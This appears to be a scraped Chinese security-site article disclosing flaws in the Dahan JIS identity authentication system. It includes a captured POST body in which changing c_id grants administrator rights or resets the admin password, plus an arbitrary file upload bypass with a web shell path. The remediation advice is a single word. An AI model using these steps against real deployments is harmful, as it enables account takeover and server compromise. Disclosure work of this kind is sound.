大汉通版jis统一身份认证系统漏洞打包

时间:2017-7-22来源:sabfilmyhai.com
大汉通版jis统一身份认证系统漏洞打包 - 网站安全 - 红黑联盟 资讯 安全 论坛 下载 读书 系统 网络 qq 考试 | | | | | | 首页 > 安全 >  个评论      作者:xcoder 收藏    我要投稿 大汉通版jis统一身份认证系统: 在用户修改信息时进行抓包发现 post: http://10.11.5.201:9080/jis/front/upduser_do. content: c_id=00000&vc_loginid=admin&vc_password=123456&vc_pwd=123456&vc_username=系统管理员&vc_headship=&vc_comptel=&vc_compfax=&vc_mobile=&vc_email=&vc_qq=&vc_msn=&vc_hometel=&vc_usergroupid=&vc_usergroupname=  经过验证c_id为权限控制字段,00000为管理员,vc_loginid为登陆名称,vc_password以及 vc_pwd为密码, (1)用户权限提升: 在修改个人信息时进行抓包,将c_id修改成0000,即可提升为系统管理员, (2)重置管理员密码 将c_id改为00000以及将登陆名称vc_loginid改成admin 密码修改为自己的即可 (3)任意文件上传漏洞  上传地址:http://url//jis/update/update.jsp  去掉本地js验证 shell地址:http://10.11.5.201:9080/jis/update/data/上传的文件名 修复方案:控制 点击复制链接 与好友分享! 相关tag标签 上一篇:java反射执行系统命令 下一篇:netcms存在存储形xss 相关文章 大汉jis身份认证系统sql注入 技术分享:通过kerberos unconstrain 美国标准实验室(nist):向短信身份认 后https时代:网站身份认证比加密更重 大汉版通jcms内容管理系统sql注射 大汉版通jcms数据库配置文件读取 大汉版通jcms数据库配置文件读取漏洞 大汉版通jvideo系统sql注射 大汉版通系统敏感信息泄露+sql注入漏洞 大汉网络文件读取漏洞+读取管理员密码 热门专题推荐 个人电脑安全 u盘启动工具 小马激活工具 office激活 win7激活工具 图文推荐 cve-2017-7529 ngin 实例演示如何科学的进 scapy fuzz实现—— 2017年7月19日被黑网 文章 推荐 · 基于xsrf的sql注入技术 · mysql 注射精华 · 小漏洞,大危害之检测青岛某大学政法学 · 友情检测湖南城建职业技术学院 · 对iis写权限的简单分析 · linux下mysql5+root 另类提权 · 通过oracle注入运行系统命令 · 很强的php注入后的提权 · win7激活工具 · win10激活工具 · win7激活工具旗舰版 · office2010激活密钥 · windows7激活密钥 · office2010激活工具 ·  · win10激活工具 热门新闻 · 3个小妙招有效防止服务器遭受ddos攻击 · 照着这么做,谁都别想偷走你电脑里的文 · 美媒: 朝鲜导弹试射失败 或因五角大 · nsa泄露黑客工具之 fuzzbunch & da · word曝0day漏洞:无需启用宏,打开文档 · 从一篇文章入门windows驱动程序(二) · 验证码时代,所谓的安全认证却暗藏风险 · android代码混淆技术总结(一) | | | | | | |vip技术培训版权所有: --致力于做实用的it技术学习网站

文章地址:http://sabfilmyhai.com/sow/w1/2cto/c1/Article/201401/274650.html
相关阅读: